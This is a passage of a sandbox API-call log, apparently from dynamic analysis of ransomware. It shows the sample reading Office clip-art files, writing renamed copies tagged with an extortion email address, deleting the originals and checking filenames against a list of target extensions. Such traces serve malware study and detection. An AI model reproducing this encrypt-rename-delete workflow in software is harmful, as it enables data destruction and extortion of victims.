returned 1 [0231.245] CloseHandle (hObject=0x380) returned 1 [0231.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid")) returned 0x20 [0231.245] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0231.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0231.246] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.246] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0231.246] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0232.890] GetLastError () returned 0x0 [0232.890] ReadFile (in: hFile=0x380, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x1b3a, lpOverlapped=0x0) returned 1 [0232.901] WriteFile (in: hFile=0x320, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0x1b40, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0x1b40, lpOverlapped=0x0) returned 1 [0232.905] ReadFile (in: hFile=0x380, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x0, lpOverlapped=0x0) returned 1 [0232.905] WriteFile (in: hFile=0x320, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xec, lpOverlapped=0x0) returned 1 [0232.905] SetEndOfFile (hFile=0x320) returned 1 [0232.911] CloseHandle (hObject=0x320) returned 1 [0232.914] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0232.914] SetEndOfFile (hFile=0x380) returned 1 [0233.080] CloseHandle (hObject=0x380) returned 1 [0233.081] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0233.081] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cmnty_01.mid")) returned 1 [0233.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0233.082] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0233.082] lstrlenW (lpString=".doc") returned 4 [0233.082] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0233.082] lstrlenW (lpString=".docx") returned 5 [0233.082] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0233.082] lstrlenW (lpString=".pdf") returned 4 [0233.082] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0233.082] lstrlenW (lpString=".xls") returned 4 [0233.083] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0233.083] lstrlenW (lpString=".xlsx") returned 5 [0233.083] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0233.083] lstrlenW (lpString=".ppt") returned 4 [0233.083] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0233.083] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0233.083] lstrlenW (lpString=".zip") returned 4 [0233.083] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0233.083] lstrlenW (lpString=".rar") returned 4 [0233.083] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0233.083] lstrlenW (lpString=".bz2") returned 4 [0233.083] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0233.083] lstrlenW (lpString=".7z") returned 3 [0233.084] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0233.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0233.084] lstrlenW (lpString=".dbf") returned 4 [0233.084] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0233.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0233.084] lstrlenW (lpString=".1cd") returned 4 [0233.084] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0233.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0233.084] lstrlenW (lpString=".jpg") returned 4 [0233.084] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0233.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0233.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0233.085] lstrlenW (lpString=".doc") returned 4 [0233.085] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0233.085] lstrlenW (lpString=".docx") returned 5 [0233.085] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0233.085] lstrlenW (lpString=".pdf") returned 4 [0233.085] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0233.085] lstrlenW (lpString=".xls") returned 4 [0233.085] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0233.085] lstrlenW (lpString=".xlsx") returned 5 [0233.085] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0233.085] lstrlenW (lpString=".ppt") returned 4 [0233.085] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0233.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0233.086] lstrlenW (lpString=".zip") returned 4 [0233.086] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0233.086] lstrlenW (lpString=".rar") returned 4 [0233.086] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0233.086] lstrlenW (lpString=".bz2") returned 4 [0233.086] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0233.086] lstrlenW (lpString=".7z") returned 3 [0233.086] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0233.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0233.086] lstrlenW (lpString=".dbf") returned 4 [0233.086] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0233.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0233.086] lstrlenW (lpString=".1cd") returned 4 [0233.087] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0233.087] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CMNTY_01.MID") returned 63 [0233.087] lstrlenW (lpString=".jpg") returned 4 [0233.087] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0233.087] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0233.087] lstrlenW (lpString="EXPLR_01.MID") returned 12 [0233.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0233.088] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=10562) returned 1 [0233.088] CloseHandle (hObject=0x380) returned 1 [0233.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid")) returned 0x20 [0233.089] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0233.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0233.090] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.090] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.090] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0233.091] GetLastError () returned 0x0 [0233.091] ReadFile (in: hFile=0x380, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x2942, lpOverlapped=0x0) returned 1 [0233.128] WriteFile (in: hFile=0x388, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0x2950, lpOverlapped=0x0) returned 1 [0233.130] ReadFile (in: hFile=0x380, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x0, lpOverlapped=0x0) returned 1 [0233.131] WriteFile (in: hFile=0x388, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.131] SetEndOfFile (hFile=0x388) returned 1 [0233.131] CloseHandle (hObject=0x388) returned 1 [0233.133] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.134] SetEndOfFile (hFile=0x380) returned 1 [0233.141] CloseHandle (hObject=0x380) returned 1 [0233.141] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0233.142] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\explr_01.mid")) returned 1 [0233.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0233.143] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0233.143] lstrlenW (lpString=".doc") returned 4 [0233.143] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0233.143] lstrlenW (lpString=".docx") returned 5 [0233.143] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0233.143] lstrlenW (lpString=".pdf") returned 4 [0233.143] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0233.143] lstrlenW (lpString=".xls") returned 4 [0233.143] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0233.144] lstrlenW (lpString=".xlsx") returned 5 [0233.144] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0233.144] lstrlenW (lpString=".ppt") returned 4 [0233.144] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0233.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0233.144] lstrlenW (lpString=".zip") returned 4 [0233.144] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0233.144] lstrlenW (lpString=".rar") returned 4 [0233.144] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0233.144] lstrlenW (lpString=".bz2") returned 4 [0233.144] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0233.144] lstrlenW (lpString=".7z") returned 3 [0233.144] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0233.144] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0233.144] lstrlenW (lpString=".dbf") returned 4 [0233.144] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0233.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0233.145] lstrlenW (lpString=".1cd") returned 4 [0233.145] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0233.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0233.145] lstrlenW (lpString=".jpg") returned 4 [0233.145] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0233.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0233.145] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0233.145] lstrlenW (lpString=".doc") returned 4 [0233.145] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0233.145] lstrlenW (lpString=".docx") returned 5 [0233.146] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0233.146] lstrlenW (lpString=".pdf") returned 4 [0233.146] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0233.146] lstrlenW (lpString=".xls") returned 4 [0233.146] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0233.146] lstrlenW (lpString=".xlsx") returned 5 [0233.146] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0233.146] lstrlenW (lpString=".ppt") returned 4 [0233.146] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0233.146] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0233.146] lstrlenW (lpString=".zip") returned 4 [0233.146] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0233.146] lstrlenW (lpString=".rar") returned 4 [0233.146] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0233.147] lstrlenW (lpString=".bz2") returned 4 [0233.147] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0233.147] lstrlenW (lpString=".7z") returned 3 [0233.147] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0233.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0233.147] lstrlenW (lpString=".dbf") returned 4 [0233.147] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0233.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0233.147] lstrlenW (lpString=".1cd") returned 4 [0233.147] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0233.147] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\EXPLR_01.MID") returned 63 [0233.147] lstrlenW (lpString=".jpg") returned 4 [0233.147] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0233.150] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0233.150] lstrlenW (lpString="FALL_01.MID") returned 11 [0233.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0233.371] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=4846) returned 1 [0233.372] CloseHandle (hObject=0x388) returned 1 [0233.372] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 0x20 [0233.801] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0233.910] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0233.939] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.939] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0233.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0233.988] GetLastError () returned 0x0 [0233.989] ReadFile (in: hFile=0x394, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x12ee, lpOverlapped=0x0) returned 1 [0233.993] WriteFile (in: hFile=0x388, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0x12f0, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0x12f0, lpOverlapped=0x0) returned 1 [0234.000] ReadFile (in: hFile=0x394, lpBuffer=0x4160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fed4, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesRead=0x366fed4*=0x0, lpOverlapped=0x0) returned 1 [0234.000] WriteFile (in: hFile=0x388, lpBuffer=0x4160020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x366fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4160020*, lpNumberOfBytesWritten=0x366fc9c*=0xea, lpOverlapped=0x0) returned 1 [0234.000] SetEndOfFile (hFile=0x388) returned 1 [0234.000] CloseHandle (hObject=0x388) returned 1 [0234.002] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec8 | out: lpNewFilePointer=0x0) returned 1 [0234.002] SetEndOfFile (hFile=0x394) returned 1 [0234.012] CloseHandle (hObject=0x394) returned 1 [0234.012] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY", dwFileAttributes=0x20) returned 1 [0234.203] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fall_01.mid")) returned 1 [0234.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0234.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0234.299] lstrlenW (lpString=".doc") returned 4 [0234.299] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0234.299] lstrlenW (lpString=".docx") returned 5 [0234.299] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0234.299] lstrlenW (lpString=".pdf") returned 4 [0234.299] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0234.299] lstrlenW (lpString=".xls") returned 4 [0234.299] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0234.299] lstrlenW (lpString=".xlsx") returned 5 [0234.299] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0234.299] lstrlenW (lpString=".ppt") returned 4 [0234.299] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0234.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0234.300] lstrlenW (lpString=".zip") returned 4 [0234.300] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0234.300] lstrlenW (lpString=".rar") returned 4 [0234.300] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0234.300] lstrlenW (lpString=".bz2") returned 4 [0234.300] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0234.300] lstrlenW (lpString=".7z") returned 3 [0234.300] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0234.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0234.300] lstrlenW (lpString=".dbf") returned 4 [0234.300] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0234.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0234.301] lstrlenW (lpString=".1cd") returned 4 [0234.301] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0234.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0234.301] lstrlenW (lpString=".jpg") returned 4 [0234.301] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0234.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0234.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0234.301] lstrlenW (lpString=".doc") returned 4 [0234.301] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0234.301] lstrlenW (lpString=".docx") returned 5 [0234.302] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0234.302] lstrlenW (lpString=".pdf") returned 4 [0234.302] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0234.302] lstrlenW (lpString=".xls") returned 4 [0234.302] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0234.302] lstrlenW (lpString=".xlsx") returned 5 [0234.302] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0234.302] lstrlenW (lpString=".ppt") returned 4 [0234.302] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0234.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0234.302] lstrlenW (lpString=".zip") returned 4 [0234.302] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0234.302] lstrlenW (lpString=".rar") returned 4 [0234.302] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0234.302] lstrlenW (lpString=".bz2") returned 4 [0234.303] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0234.303] lstrlenW (lpString=".7z") returned 3 [0234.303] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0234.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0234.303] lstrlenW (lpString=".dbf") returned 4 [0234.303] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0234.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0234.303] lstrlenW (lpString=".1cd") returned 4 [0234.303] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0234.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FALL_01.MID") returned 62 [0234.303] lstrlenW (lpString=".jpg") returned 4 [0234.303] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0234.304] lstrcmpiW (lpString1=".MID", lpString2=".WHY") returned -1 [0234.304] lstrlenW (lpString="HTECH_01.MID") returned 12 [0234.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0234.305] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x366ff1c | out: lpFileSize=0x366ff1c*=7178) returned 1 [0234.305] CloseHandle (hObject=0x380) returned 1 [0234.305] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid")) returned 0x20 [0234.306] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID.id-9C354B42.[mr.crypteur@protonmail.com].WHY" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid.id-9c354b42.[mr.crypteur@protonmail.com].why")) returned 0xffffffff [0234.306] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HTECH_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\htech_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0234.307] SetFilePointerEx (in: hFile=0x380, liDistanceToMove=0x0, 